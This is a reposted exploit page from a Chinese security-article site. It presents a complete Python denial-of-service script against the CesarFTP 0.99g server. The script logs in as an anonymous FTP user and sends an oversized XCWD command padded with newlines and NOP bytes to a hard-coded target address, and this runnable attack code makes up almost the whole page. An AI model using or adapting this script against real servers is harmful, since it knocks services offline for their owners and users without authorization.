CesarFTP 0.99g - XCWD Denial of Service Exploit

		当前位置：主页>安全文章>文章资料>Exploits>文章内容

CesarFTP 0.99g - XCWD Denial of Service Exploit

来源：im.aguilar@protonmail.ch 作者：Aguilar 发布时间：2016-01-28

#!/usr/bin/env python

#-*- coding:utf-8 -*-

# Exploit Title : CesarFTP 0.99g -(XCWD)Remote BoF Exploit

# Discovery by : Irving Aguilar

# Email : im.aguilar@protonmail.ch

# Discovery Date : 18.01.2016

# Tested Version : 0.99g

# Vulnerability Type : Denial of Service (DoS)

# Tested on OS : Windows XP Professional SP3 x86 es

import socket

buffer = 'XCWD ' + '\n' * 667 +'\x90' * 20

target = '192.168.1.73'

port = 21

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connect = s.connect((target, port))

print '[*] Target: ' + target

print '[*] Port: ' + str(port)

s.recv(1024)

s.send('USER ftp\r\n')

s.recv(1024)

s.send('PASS ftp\r\n')

s.recv(1024)

s.send( buffer + '\r\n')

print '[+] Buffer sent'

s.close()

[

匿名评论

评论内容：(不能超过250字，需审核后才会公布，请自觉遵守互联网相关政策法规。

§最新评论：

热点文章

推荐广告